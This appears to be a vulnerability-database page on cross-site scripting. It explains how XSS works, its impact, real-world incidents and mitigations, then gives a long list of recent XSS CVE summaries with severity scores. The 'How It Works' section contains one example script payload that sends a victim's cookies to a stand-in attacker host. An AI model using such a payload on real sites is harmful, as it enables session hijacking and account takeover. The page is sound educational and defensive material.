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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40907)

EPSS 0% CVSS 6.1
MEDIUM This Month

Pega Platform versions 8.1 to Infinity 23.1.0 are affected by an XSS issue with task creation. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Platform Pega
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Opcache Dashboard
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Canvasio3D Light
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gumroad
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Web Analytics
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Open User Map 100Plugins
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Product Category Tree
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Image Vertical Reel Scroll Slideshow Gopiplus
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Thumbnail Slider With Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Image Title field in versions up to, and including, 1.0 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Thumbnail Slider With Lightbox +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtube Playlist Player Getbutterfly
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Comment Reply Email
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ezoic Ampedsense
NVD
EPSS 11% CVSS 7.2
HIGH POC THREAT Act Now

The MpOperationLogs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the IP Request Headers in versions up to, and including, 1.0.1 due to insufficient input sanitization and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 11.2%.

WordPress XSS Mpoperationlogs +1
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

In dotCMS, versions mentioned, a flaw in the NormalizationFilter does not strip double slashes (//) from URLs, potentially enabling bypasses for XSS and access controls. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Java Dotcms
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in the Commerce module in Liferay Portal 7.3.5 through 7.4.3.91, and Liferay DXP 7.3 update 33 and earlier, and 7.4 before update 92 allow. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fotomoto
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wooodt Lite +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Woo Custom Emails
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Stored cross-site scripting (XSS) vulnerability in the Wiki widget in Liferay Portal 7.1.0 through 7.4.3.87, and Liferay DXP 7.0 fix pack 83 through 102, 7.1 fix pack 28 and earlier, 7.2 fix pack 20. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Complete Open Graph
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Social Feed Arrowplugins
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Seriously Simple Stats Castos
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wolf Wordpress Posts Bulk Editor And Products Manager Professional +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Multiple reflected cross-site scripting (XSS) vulnerabilities in the Plugin for OAuth 2.0 module's OAuth2ProviderApplicationRedirect class in Liferay Portal 7.4.3.41 through 7.4.3.89, and Liferay DXP. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting (XSS) vulnerability in Page Tree menu Liferay Portal 7.3.6 through 7.4.3.78, and Liferay DXP 7.3 fix pack 1 through update 23, and 7.4 before update 79 allows remote. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in the fragment components in Liferay Portal 7.4.2 through 7.4.3.53, and Liferay DXP 7.4 before update 54 allow remote attackers to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Stored cross-site scripting (XSS) vulnerability in the manage vocabulary page in Liferay Portal 7.4.2 through 7.4.3.87, and Liferay DXP 7.4 before update 88 allows remote attackers to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Media Library Assistant Davidlingren
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Reflected cross-site scripting (XSS) vulnerability on the Export for Translation page in Liferay Portal 7.4.3.4 through 7.4.3.85, and Liferay DXP 7.4 before update 86 allows remote attackers to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Archer Platform 6.x before 6.13 P2 HF2 (6.13.0.2.2) contains a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Archer Archerirm
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Discourse
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

dicourse-calendar is a plugin for the Discourse messaging platform which adds the ability to create a dynamic calendar in the first post of a topic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discourse Discourse Calendar
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in mooSocial 3.1.8 allows a remote attacker to obtain sensitive information via a crafted script to the q parameter in the Search function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Moosocial
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL PATCH Act Now

com.xwiki.identity-oauth:identity-oauth-ui is a package to aid in building identity and service providers based on OAuth authorizations. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Xwiki +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in Phpgurukul User Registration & Login and User Management System With admin panel 3.0 allows attackers to run arbitrary code via fname, lname, email, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE User Registration Login And User Management System With Admin Panel +1
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The User Activity Log Pro WordPress plugin before 2.3.4 does not properly escape recorded User-Agents in the user activity logs dashboard, which may allow visitors to conduct Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS User Activity Log +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The ActivityPub WordPress plugin before 1.0.0 does not escape user metadata before outputting them in mentions, which could allow users with a role of Contributor and above to perform Stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Activitypub +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Interactive Contact Form and Multi Step Form Builder WordPress plugin before 3.4 does not sanitise and escape some parameters, which could allow unauthenticated users to perform Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Funnelforms
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The File Manager Pro WordPress plugin before 1.8.1 does not adequately validate and escape some inputs, leading to XSS by high-privilege users. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Filester +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WordPress File Upload WordPress plugin before 4.23.3 does not sanitise and escape some of its settings, which could allow high privilege users such as contributors to perform Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS File Upload +2
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Tutor LMS WordPress plugin before 2.3.0 does not sanitise and escape some of its settings, which could allow users such as subscriber to perform Stored Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tutor Lms +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The User Avatar WordPress plugin before 1.2.2 does not properly sanitize and escape certain of its shortcodes attributes, which could allow relatively low-privileged users like contributors to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS User Avatar Reloaded +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Testimonial Slider Shortcode WordPress plugin before 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Testimonial Slider Shortcode
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Magee Shortcodes WordPress plugin through 2.1.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Magee Shortcodes
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Simple Posts Ticker WordPress plugin before 1.1.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Posts Ticker +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Simple Posts Ticker WordPress plugin before 1.1.6 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Posts Ticker +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The EventON WordPress plugin before 2.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Eventon +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WP Matterport Shortcode WordPress plugin before 2.1.7 does not escape the PHP_SELF server variable when outputting it in attributes, leading to Reflected Cross-Site Scripting issues which could. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Matterport Shortcode +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP Matterport Shortcode WordPress plugin before 2.1.8 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Matterport Shortcode +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The ActivityPub WordPress plugin before 1.0.0 does not sanitize and escape some data from post content, which could allow contributor and above role to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Activitypub +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

github.com/crewjam/saml is a saml library for the go language. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Saml Saml Project
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mediabay Wordpress Media Library Folders
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Timely Booking Button
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Abandoned Cart Lite For Woocommerce +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Buddymeet
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Bbp Style Pack
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Tiny Carosel Horizontal Slider Gopiplus
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Booking Calendar WordPress plugin before 9.7.3.1 does not sanitize and escape some of its booking from data, allowing unauthenticated users to perform Stored Cross-Site Scripting attacks against. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Booking Calendar +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM This Month

Security vulnerability in Apache bRPC <=1.6.0 on all platforms allows attackers to inject XSS code to the builtin rpcz page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Brpc
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability was found in SourceCodester Online Motorcycle Rental System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Online Motorcycle Bike Rental System Oretnom23
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM QRadar SIEM 7.5.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Qradar Security Information And Event Manager
NVD
EPSS 0% CVSS 7.6
HIGH PATCH This Week

IBM Cloud Pak for Business Automation 18.0.0, 18.0.1, 18.0.2, 19.0.1, 19.0.2, 19.0.3, 20.0.1, 20.0.2, 20.0.3, 21.0.1, 21.0.2, 21.0.3, 22.0.1, and 22.0.2 is vulnerable to cross-site scripting. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Cloud Pak For Business Automation
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in ZZZCMS 2.2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zzzcms
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Medicine Tracker System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Medicine Tracker System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.4
MEDIUM POC This Month

The Hotjar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the hotjar_site_id in versions up to, and including, 1.0.15 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress XSS Hotjar
NVD VulDB
EPSS 0% CVSS 2.0
LOW Monitor

A vulnerability was found in Portábilis i-Educar up to 2.7.5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS I Educar +1
NVD VulDB GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Multiple Stored Cross Site Scripting (XSS) vulnerabilities in Opart opartmultihtmlblock before version 2.0.12 and Opart multihtmlblock* version 1.0.0, allows remote authenticated users to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Multi Html Block +1
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect Video Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Qnap Video Station
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.1, FortiSandbox 4.2.1 through 4.2.5, FortiSandbox 4.0.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Fortinet Fortisandbox
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

An improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0, FortiSandbox 4.2.1 through 4.2.4, FortiSandbox 4.0 all versions,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Fortinet Fortisandbox
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.1, FortiSandbox 4.2.1 through 4.2.5, FortiSandbox 4.0.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Fortinet Fortisandbox
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.1, FortiSandbox 4.2.1 through 4.2.5, FortiSandbox 4.0.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Fortinet Fortisandbox
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Create A New Employee function of Granding UTime Master v9.0.7-Build:Apr 4,2023 allows authenticated attackers to execute arbitrary web. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Utime Master
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Embed Calendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'calendly' shortcode in versions up to, and including, 3.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Embed Calendly +1
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository froxlor/froxlor prior to 2.0.22. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Froxlor
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository hestiacp/hestiacp prior to 1.8.6. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Hestiacp
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gutenberg
NVD
EPSS 1% CVSS 8.7
HIGH PATCH This Week

Adobe Commerce versions 2.4.7-beta1 (and earlier), 2.4.6-p2 (and earlier), 2.4.5-p4 (and earlier) and 2.4.4-p5 (and earlier) are affected by a stored Cross-Site Scripting (XSS) vulnerability that. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Adobe Magento +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository froxlor/froxlor prior to 2.1.0-dev1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Froxlor
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An unsafe default configuration in KNIME Analytics Platform before 5.2.0 allows for a cross-site scripting attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Knime Analytics Platform Knime
NVD
EPSS 71% CVSS 9.6
CRITICAL PATCH Act Now

Change Request is an pplication allowing users to request changes on a wiki without publishing the changes directly. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Xwiki +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS On Premises Installation
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository frappe/lms prior to 5614a6203fb7d438be8e2b1e3030e4528d170ec4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Frappe Learning
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Etsy Shop plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'etsy-shop' shortcode in versions up to, and including, 3.0.4 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Etsy Shop +1
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored XSS has been found in the Zabbix web application in the Maps element if a URL field is set with spaces before URL. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zabbix
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Inappropriate implementation in Autofill in Google Chrome prior to 118.0.5993.70 allowed a remote attacker to bypass autofill restrictions via a crafted HTML page. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Chrome Google +2
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability exists in the upload_brand.cgi functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Surf Soho Firmware Peplink
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

HCL Digital Experience is susceptible to cross site scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Digital Experience Hcltech
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

